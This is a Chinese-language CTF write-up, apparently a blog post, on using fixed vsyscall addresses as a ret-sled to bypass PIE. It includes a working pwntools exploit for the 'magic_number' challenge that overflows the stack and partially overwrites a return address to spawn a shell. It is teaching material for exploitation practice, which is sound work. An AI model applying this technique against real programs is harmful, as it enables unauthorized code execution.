vsyscall滑动利用

vsyscall(个人理解)就是四个函数调用,并且这四个函数的地址是固定的,通过调用这里面的函数就像滑一样地溜到栈后面的地址来达到自己的利用目的。
这就是那四个函数
这就是那四个固定地址的四个函数。
请添加图片描述
来看个题:
请添加图片描述

请添加图片描述

这题思路很清晰,就是利用这个栈溢出来跳转到system函数,但是确开了pie,怎么办呢?
我们来动调看看:
请添加图片描述
这是程序基址
请添加图片描述
这是栈结构,0x7fffffffdfc8地址处的内容和system函数调用的地址很接近只有最后一个字节的差异,
我们就可以用vsyscall一直填到0x7fffffffdfc8,改最后一个字节为0xa8,就可以得到shell了。

from pwn import *
context.log_level = 'debug'
# context.terminal = ['tmux','sp','-h']

p = process("./magic_number")

# gdb.attach(p,'b *$rebase(0xAE0)')
# raw_input()
p.recvuntil('Your Input :\n')
vsyscall = 0xFFFFFFFFFF600400
vsyscall1=0xffffffffff600000
payload = 'a'*0x38 + p64(vsyscall1)*4 + '\xa8'
# gdb.attach(p)
# pause()
p.send(payload)

p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值